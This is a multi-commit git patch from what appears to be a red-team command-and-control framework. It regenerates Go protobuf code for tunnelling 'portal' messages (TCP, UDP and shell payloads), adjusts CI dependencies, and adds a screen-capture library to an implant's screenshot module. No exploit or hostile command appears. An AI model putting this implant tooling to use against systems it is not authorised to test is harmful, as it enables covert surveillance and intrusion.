{ + mi := &file_portal_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *OpenPortalRequest) String() string { @@ -460,7 +469,7 @@ func (*OpenPortalRequest) ProtoMessage() {} func (x *OpenPortalRequest) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[5] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -490,17 +499,20 @@ func (x *OpenPortalRequest) GetMote() *Mote { } type OpenPortalResponse struct { - state protoimpl.MessageState `protogen:"open.v1"` - Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Mote *Mote `protobuf:"bytes,2,opt,name=mote,proto3" json:"mote,omitempty"` } func (x *OpenPortalResponse) Reset() { *x = OpenPortalResponse{} - mi := &file_portal_proto_msgTypes[6] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_portal_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *OpenPortalResponse) String() string { @@ -511,7 +523,7 @@ func (*OpenPortalResponse) ProtoMessage() {} func (x *OpenPortalResponse) ProtoReflect() protoreflect.Message { mi := &file_portal_proto_msgTypes[6] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -535,7 +547,7 @@ func (x *OpenPortalResponse) GetMote() *Mote { var File_portal_proto protoreflect.FileDescriptor -var file_portal_proto_rawDesc = string([]byte{ +var file_portal_proto_rawDesc = []byte{ 0x0a, 0x0c, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x06, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x22, 0x50, 0x0a, 0x0c, 0x42, 0x79, 0x74, 0x65, 0x73, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x61, 0x74, 0x61, 0x18, 0x01, @@ -603,23 +615,23 @@ var file_portal_proto_rawDesc = string([]byte{ 0x23, 0x5a, 0x21, 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x73, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -}) +} var ( file_portal_proto_rawDescOnce sync.Once - file_portal_proto_rawDescData []byte + file_portal_proto_rawDescData = file_portal_proto_rawDesc ) func file_portal_proto_rawDescGZIP() []byte { file_portal_proto_rawDescOnce.Do(func() { - file_portal_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_portal_proto_rawDesc), len(file_portal_proto_rawDesc))) + file_portal_proto_rawDescData = protoimpl.X.CompressGZIP(file_portal_proto_rawDescData) }) return file_portal_proto_rawDescData } var file_portal_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_portal_proto_msgTypes = make([]protoimpl.MessageInfo, 7) -var file_portal_proto_goTypes = []any{ +var file_portal_proto_goTypes = []interface{}{ (BytesPayloadKind)(0), // 0: portal.BytesPayloadKind (*BytesPayload)(nil), // 1: portal.BytesPayload (*TCPPayload)(nil), // 2: portal.TCPPayload @@ -651,7 +663,93 @@ func file_portal_proto_init() { if File_portal_proto != nil { return } - file_portal_proto_msgTypes[4].OneofWrappers = []any{ + if !protoimpl.UnsafeEnabled { + file_portal_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*BytesPayload); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_portal_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*TCPPayload); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_portal_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*UDPPayload); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_portal_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*ShellPayload); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_portal_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Mote); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_portal_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*OpenPortalRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_portal_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*OpenPortalResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + file_portal_proto_msgTypes[4].OneofWrappers = []interface{}{ (*Mote_Udp)(nil), (*Mote_Tcp)(nil), (*Mote_Bytes)(nil), @@ -661,7 +759,7 @@ func file_portal_proto_init() { out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: unsafe.Slice(unsafe.StringData(file_portal_proto_rawDesc), len(file_portal_proto_rawDesc)), + RawDescriptor: file_portal_proto_rawDesc, NumEnums: 1, NumMessages: 7, NumExtensions: 0, @@ -673,6 +771,7 @@ func file_portal_proto_init() { MessageInfos: file_portal_proto_msgTypes, }.Build() File_portal_proto = out.File + file_portal_proto_rawDesc = nil file_portal_proto_goTypes = nil file_portal_proto_depIdxs = nil } diff --git a/tavern/portals/portalpb/portal_grpc.pb.go b/tavern/portals/portalpb/portal_grpc.pb.go index 9b0bd90f3..2a782a108 100644 --- a/tavern/portals/portalpb/portal_grpc.pb.go +++ b/tavern/portals/portalpb/portal_grpc.pb.go @@ -1,8 +1,4 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. -// versions: -// - protoc-gen-go-grpc v1.3.0 -// - protoc v3.21.12 -// source: portal.proto package portalpb @@ -15,12 +11,7 @@ import ( // This is a compile-time assertion to ensure that this generated file // is compatible with the grpc package it is being compiled against. -// Requires gRPC-Go v1.62.0 or later. -const _ = grpc.SupportPackageIsVersion8 - -const ( - Portal_OpenPortal_FullMethodName = "/portal.Portal/OpenPortal" -) +const _ = grpc.SupportPackageIsVersion7 // PortalClient is the client API for Portal service. // @@ -38,12 +29,11 @@ func NewPortalClient(cc grpc.ClientConnInterface) PortalClient { } func (c *portalClient) OpenPortal(ctx context.Context, opts ...grpc.CallOption) (Portal_OpenPortalClient, error) { - cOpts := append([]grpc.CallOption{grpc.StaticMethod()}, opts...) - stream, err := c.cc.NewStream(ctx, &Portal_ServiceDesc.Streams[0], Portal_OpenPortal_FullMethodName, cOpts...) + stream, err := c.cc.NewStream(ctx, &_Portal_serviceDesc.Streams[0], "/portal.Portal/OpenPortal", opts...) if err != nil { return nil, err } - x := &portalOpenPortalClient{ClientStream: stream} + x := &portalOpenPortalClient{stream} return x, nil } @@ -93,12 +83,12 @@ type UnsafePortalServer interface { mustEmbedUnimplementedPortalServer() } -func RegisterPortalServer(s grpc.ServiceRegistrar, srv PortalServer) { - s.RegisterService(&Portal_ServiceDesc, srv) +func RegisterPortalServer(s *grpc.Server, srv PortalServer) { + s.RegisterService(&_Portal_serviceDesc, srv) } func _Portal_OpenPortal_Handler(srv interface{}, stream grpc.ServerStream) error { - return srv.(PortalServer).OpenPortal(&portalOpenPortalServer{ServerStream: stream}) + return srv.(PortalServer).OpenPortal(&portalOpenPortalServer{stream}) } type Portal_OpenPortalServer interface { @@ -123,10 +113,7 @@ func (x *portalOpenPortalServer) Recv() (*OpenPortalRequest, error) { return m, nil } -// Portal_ServiceDesc is the grpc.ServiceDesc for Portal service. -// It's only intended for direct use with grpc.RegisterService, -// and not to be introspected or modified (even as a copy) -var Portal_ServiceDesc = grpc.ServiceDesc{ +var _Portal_serviceDesc = grpc.ServiceDesc{ ServiceName: "portal.Portal", HandlerType: (*PortalServer)(nil), Methods: []grpc.MethodDesc{}, diff --git a/tavern/portals/tracepb/trace.pb.go b/tavern/portals/tracepb/trace.pb.go index d16c158d5..9ef9b034b 100644 --- a/tavern/portals/tracepb/trace.pb.go +++ b/tavern/portals/tracepb/trace.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.36.5 +// protoc-gen-go v1.32.0 // protoc v3.21.12 // source: trace.proto @@ -11,7 +11,6 @@ import ( protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" - unsafe "unsafe" ) const ( @@ -107,18 +106,21 @@ func (TraceEventKind) EnumDescriptor() ([]byte, []int) { // A single timestamped trace event type TraceEvent struct { - state protoimpl.MessageState `protogen:"open.v1"` - Kind TraceEventKind `protobuf:"varint,1,opt,name=kind,proto3,enum=trace.TraceEventKind" json:"kind,omitempty"` - TimestampMicros int64 `protobuf:"varint,2,opt,name=timestamp_micros,json=timestampMicros,proto3" json:"timestamp_micros,omitempty"` // Unix microsecond timestamp - unknownFields protoimpl.UnknownFields - sizeCache protoimpl.SizeCache + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Kind TraceEventKind `protobuf:"varint,1,opt,name=kind,proto3,enum=trace.TraceEventKind" json:"kind,omitempty"` + TimestampMicros int64 `protobuf:"varint,2,opt,name=timestamp_micros,json=timestampMicros,proto3" json:"timestamp_micros,omitempty"` // Unix microsecond timestamp } func (x *TraceEvent) Reset() { *x = TraceEvent{} - mi := &file_trace_proto_msgTypes[0] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_trace_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *TraceEvent) String() string { @@ -129,7 +131,7 @@ func (*TraceEvent) ProtoMessage() {} func (x *TraceEvent) ProtoReflect() protoreflect.Message { mi := &file_trace_proto_msgTypes[0] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -161,19 +163,22 @@ func (x *TraceEvent) GetTimestampMicros() int64 { // When BytesPayloadKind is TRACE, the `data` field of the mote // should contain the serialized bytes of this message. type TraceData struct { - state protoimpl.MessageState `protogen:"open.v1"` - StartMicros int64 `protobuf:"varint,1,opt,name=start_micros,json=startMicros,proto3" json:"start_micros,omitempty"` // Time the trace started - Padding []byte `protobuf:"bytes,2,opt,name=padding,proto3" json:"padding,omitempty"` // Arbitrary bytes to simulate payload size - Events []*TraceEvent `protobuf:"bytes,3,rep,name=events,proto3" json:"events,omitempty"` // The ordered history of the journey - unknownFields protoimpl.UnknownFields + state protoimpl.MessageState sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + StartMicros int64 `protobuf:"varint,1,opt,name=start_micros,json=startMicros,proto3" json:"start_micros,omitempty"` // Time the trace started + Padding []byte `protobuf:"bytes,2,opt,name=padding,proto3" json:"padding,omitempty"` // Arbitrary bytes to simulate payload size + Events []*TraceEvent `protobuf:"bytes,3,rep,name=events,proto3" json:"events,omitempty"` // The ordered history of the journey } func (x *TraceData) Reset() { *x = TraceData{} - mi := &file_trace_proto_msgTypes[1] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) + if protoimpl.UnsafeEnabled { + mi := &file_trace_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } } func (x *TraceData) String() string { @@ -184,7 +189,7 @@ func (*TraceData) ProtoMessage() {} func (x *TraceData) ProtoReflect() protoreflect.Message { mi := &file_trace_proto_msgTypes[1] - if x != nil { + if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -222,7 +227,7 @@ func (x *TraceData) GetEvents() []*TraceEvent { var File_trace_proto protoreflect.FileDescriptor -var file_trace_proto_rawDesc = string([]byte{ +var file_trace_proto_rawDesc = []byte{ 0x0a, 0x0b, 0x74, 0x72, 0x61, 0x63, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x05, 0x74, 0x72, 0x61, 0x63, 0x65, 0x22, 0x62, 0x0a, 0x0a, 0x54, 0x72, 0x61, 0x63, 0x65, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, @@ -272,23 +277,23 @@ var file_trace_proto_rawDesc = string([]byte{ 0x72, 0x65, 0x61, 0x6c, 0x6d, 0x2e, 0x70, 0x75, 0x62, 0x2f, 0x74, 0x61, 0x76, 0x65, 0x72, 0x6e, 0x2f, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x73, 0x2f, 0x74, 0x72, 0x61, 0x63, 0x65, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, -}) +} var ( file_trace_proto_rawDescOnce sync.Once - file_trace_proto_rawDescData []byte + file_trace_proto_rawDescData = file_trace_proto_rawDesc ) func file_trace_proto_rawDescGZIP() []byte { file_trace_proto_rawDescOnce.Do(func() { - file_trace_proto_rawDescData = protoimpl.X.CompressGZIP(unsafe.Slice(unsafe.StringData(file_trace_proto_rawDesc), len(file_trace_proto_rawDesc))) + file_trace_proto_rawDescData = protoimpl.X.CompressGZIP(file_trace_proto_rawDescData) }) return file_trace_proto_rawDescData } var file_trace_proto_enumTypes = make([]protoimpl.EnumInfo, 1) var file_trace_proto_msgTypes = make([]protoimpl.MessageInfo, 2) -var file_trace_proto_goTypes = []any{ +var file_trace_proto_goTypes = []interface{}{ (TraceEventKind)(0), // 0: trace.TraceEventKind (*TraceEvent)(nil), // 1: trace.TraceEvent (*TraceData)(nil), // 2: trace.TraceData @@ -308,11 +313,37 @@ func file_trace_proto_init() { if File_trace_proto != nil { return } + if !protoimpl.UnsafeEnabled { + file_trace_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*TraceEvent); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_trace_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*TraceData); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: unsafe.Slice(unsafe.StringData(file_trace_proto_rawDesc), len(file_trace_proto_rawDesc)), + RawDescriptor: file_trace_proto_rawDesc, NumEnums: 1, NumMessages: 2, NumExtensions: 0, @@ -324,6 +355,7 @@ func file_trace_proto_init() { MessageInfos: file_trace_proto_msgTypes, }.Build() File_trace_proto = out.File + file_trace_proto_rawDesc = nil file_trace_proto_goTypes = nil file_trace_proto_depIdxs = nil } From 9a158f9ef1280d4d7fc9476d220bec5534b5847d Mon Sep 17 00:00:00 2001 From: "google-labs-jules[bot]" <161369871+google-labs-jules[bot]@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:10:31 +0000 Subject: [PATCH 2/8] Fix CI: Add pkg-config and apply formatting Co-authored-by: KCarretto <16250309+KCarretto@users.noreply.github.com> --- .github/workflows/e2e-asset-execution.yml | 2 +- .github/workflows/e2e-portals.yml | 2 +- .github/workflows/e2e-repl-test.yml | 2 +- .github/workflows/release.yml | 4 ++-- .../stdlib/eldritch-libreport/src/std/screenshot_impl.rs | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/e2e-asset-execution.yml b/.github/workflows/e2e-asset-execution.yml index eb79d46e0..8a8c05a53 100644 --- a/.github/workflows/e2e-asset-execution.yml +++ b/.github/workflows/e2e-asset-execution.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev + sudo apt-get install -y protobuf-compiler libssl-dev libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config - name: 🔨 Build Tavern run: | go mod download diff --git a/.github/workflows/e2e-portals.yml b/.github/workflows/e2e-portals.yml index 0a1bba368..d869adcd1 100644 --- a/.github/workflows/e2e-portals.yml +++ b/.github/workflows/e2e-portals.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev jq + sudo apt-get install -y protobuf-compiler libssl-dev jq libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config - name: 🔨 Build Tavern & Socks5 run: | diff --git a/.github/workflows/e2e-repl-test.yml b/.github/workflows/e2e-repl-test.yml index e1206a968..95346014b 100644 --- a/.github/workflows/e2e-repl-test.yml +++ b/.github/workflows/e2e-repl-test.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev + sudo apt-get install -y protobuf-compiler libssl-dev libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config - name: 🔨 Build Tavern run: | go mod download diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 27c7e9595..9a41d0e2e 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -61,7 +61,7 @@ jobs: run: | rustup target add x86_64-unknown-linux-musl && \ sudo apt update && \ - sudo apt install -y musl-tools + sudo apt install -y musl-tools libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config - name: 🔨 Build Imix run: cargo build --bin=imix --release --target=x86_64-unknown-linux-musl working-directory: ./implants/imix @@ -191,7 +191,7 @@ jobs: run: | rustup target add x86_64-unknown-linux-musl && \ sudo apt update && \ - sudo apt install -y musl-tools + sudo apt install -y musl-tools libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config - name: 🔨 Build Golem run: cargo build --bin=golem --release --target=x86_64-unknown-linux-musl working-directory: ./implants/golem diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs b/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs index bb2f6725f..e6d5468ad 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/src/std/screenshot_impl.rs @@ -3,12 +3,12 @@ use alloc::string::{String, ToString}; use alloc::sync::Arc; use alloc::vec::Vec; use eldritch_agent::{Agent, Context}; +use image::ImageFormat; use pb::c2::report_file_request; use pb::{c2, eldritch}; use std::io::Cursor; use std::sync::Mutex; use xcap::Monitor; -use image::ImageFormat; #[cfg(all(unix, feature = "stdlib"))] fn get_hostname() -> String { From 2627cf79d77e2d5c367e511301b920130cf50136 Mon Sep 17 00:00:00 2001 From: hulto <7121375+hulto@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:20:05 +0000 Subject: [PATCH 3/8] fix mac builds --- implants/Cargo.toml | 1 + implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/implants/Cargo.toml b/implants/Cargo.toml index c10922f68..33b4f33c5 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -151,6 +151,7 @@ lru = "0.16.0" crossterm = "0.27" futures = "0.3" console-subscriber = "0.5.0" +xcap = version = "0.8.2" [profile.release] strip = true # Automatically strip symbols from the binary. diff --git a/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml b/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml index 937de9dee..1ec8600d1 100644 --- a/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml +++ b/implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml @@ -10,7 +10,7 @@ eldritch-agent = { workspace = true, optional = true } pb = { workspace = true, optional = true } nix = { workspace = true, optional = true } spin = { version = "0.10.0", features = ["rwlock"] } -xcap = { version = "0.0.14", optional = true } +xcap = { workspace = true, optional = true } image = { version = "0.25", optional = true } [features] From 13e19bc59d93760f73f3a357b01ccc1eee9249a0 Mon Sep 17 00:00:00 2001 From: hulto <7121375+hulto@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:23:37 +0000 Subject: [PATCH 4/8] fix typo --- implants/Cargo.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/implants/Cargo.toml b/implants/Cargo.toml index 33b4f33c5..2e673c141 100644 --- a/implants/Cargo.toml +++ b/implants/Cargo.toml @@ -151,7 +151,7 @@ lru = "0.16.0" crossterm = "0.27" futures = "0.3" console-subscriber = "0.5.0" -xcap = version = "0.8.2" +xcap = "0.8.2" [profile.release] strip = true # Automatically strip symbols from the binary. From daad90e67ac2ae5144af9253c3864a79c3fd9f49 Mon Sep 17 00:00:00 2001 From: hulto <7121375+hulto@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:32:18 +0000 Subject: [PATCH 5/8] fix tests --- .github/workflows/e2e-asset-execution.yml | 2 +- .github/workflows/e2e-portals.yml | 3 ++- .github/workflows/e2e-repl-test.yml | 3 ++- .github/workflows/tests.yml | 2 +- 4 files changed, 6 insertions(+), 4 deletions(-) diff --git a/.github/workflows/e2e-asset-execution.yml b/.github/workflows/e2e-asset-execution.yml index 8a8c05a53..071aff56c 100644 --- a/.github/workflows/e2e-asset-execution.yml +++ b/.github/workflows/e2e-asset-execution.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config + sudo apt-get install -y pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: 🔨 Build Tavern run: | go mod download diff --git a/.github/workflows/e2e-portals.yml b/.github/workflows/e2e-portals.yml index d869adcd1..2ae73263a 100644 --- a/.github/workflows/e2e-portals.yml +++ b/.github/workflows/e2e-portals.yml @@ -38,7 +38,8 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev jq libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config + sudo apt-get install -y protobuf-compiler libssl-dev jq pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + - name: 🔨 Build Tavern & Socks5 run: | diff --git a/.github/workflows/e2e-repl-test.yml b/.github/workflows/e2e-repl-test.yml index 95346014b..08ff205a9 100644 --- a/.github/workflows/e2e-repl-test.yml +++ b/.github/workflows/e2e-repl-test.yml @@ -38,7 +38,8 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev pkg-config + sudo apt-get install -y protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + - name: 🔨 Build Tavern run: | go mod download diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 77cb8a7f7..da423310d 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -83,7 +83,7 @@ jobs: shell: powershell - name: Install system dependencies (Linux) if: matrix.os == 'ubuntu-latest' - run: sudo apt-get update && sudo apt-get install -y libx11-dev libxcb1-dev libxrandr-dev libdbus-1-dev + run: sudo apt-get update && apt-get install -y pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: Setup Rust uses: dtolnay/rust-toolchain@master with: From 5c8cfa929bbdff2c6ad7dcc7ef70f24f4582c576 Mon Sep 17 00:00:00 2001 From: hulto <7121375+hulto@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:33:41 +0000 Subject: [PATCH 6/8] fix --- .github/workflows/tests.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index da423310d..f5d15d3d9 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -83,7 +83,7 @@ jobs: shell: powershell - name: Install system dependencies (Linux) if: matrix.os == 'ubuntu-latest' - run: sudo apt-get update && apt-get install -y pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + run: sudo apt-get update && sudo apt-get install -y pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: Setup Rust uses: dtolnay/rust-toolchain@master with: From d8b93c9fcfd7558a4d10329b137f5119c9940a4e Mon Sep 17 00:00:00 2001 From: hulto <7121375+hulto@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:39:27 +0000 Subject: [PATCH 7/8] fix --- .github/workflows/e2e-asset-execution.yml | 2 +- .github/workflows/e2e-portals.yml | 2 +- .github/workflows/e2e-repl-test.yml | 2 +- .github/workflows/tests.yml | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/e2e-asset-execution.yml b/.github/workflows/e2e-asset-execution.yml index 071aff56c..d37cf7eab 100644 --- a/.github/workflows/e2e-asset-execution.yml +++ b/.github/workflows/e2e-asset-execution.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: 🔨 Build Tavern run: | go mod download diff --git a/.github/workflows/e2e-portals.yml b/.github/workflows/e2e-portals.yml index 2ae73263a..8ef4ff296 100644 --- a/.github/workflows/e2e-portals.yml +++ b/.github/workflows/e2e-portals.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler libssl-dev jq pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev jq - name: 🔨 Build Tavern & Socks5 diff --git a/.github/workflows/e2e-repl-test.yml b/.github/workflows/e2e-repl-test.yml index 08ff205a9..6482e2c4d 100644 --- a/.github/workflows/e2e-repl-test.yml +++ b/.github/workflows/e2e-repl-test.yml @@ -38,7 +38,7 @@ jobs: - name: 📦 Install System Dependencies run: | sudo apt-get update - sudo apt-get install -y protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: 🔨 Build Tavern run: | diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index f5d15d3d9..1281ab5f0 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -83,7 +83,7 @@ jobs: shell: powershell - name: Install system dependencies (Linux) if: matrix.os == 'ubuntu-latest' - run: sudo apt-get update && sudo apt-get install -y pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev + run: sudo apt-get update && sudo apt-get install -y libx11-dev libssl-dev protobuf-compiler pkg-config libclang-dev libxcb1-dev libxrandr-dev libdbus-1-dev libpipewire-0.3-dev libwayland-dev libegl-dev - name: Setup Rust uses: dtolnay/rust-toolchain@master with: From 801e4f1b31a14d714a6b1a625e24d2d4d5c74795 Mon Sep 17 00:00:00 2001 From: hulto <7121375+hulto@users.noreply.github.com> Date: Thu, 26 Feb 2026 05:45:13 +0000 Subject: [PATCH 8/8] add libgbm-dev --- .github/workflows/e2e-asset-execution.yml | 2 +- .github/workflows/e2e-portals.yml | 2 +- .github/workflows/e2e-repl-test.yml | 2 +- .github/workflows/tests.yml | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/e2e-asset-execution.yml 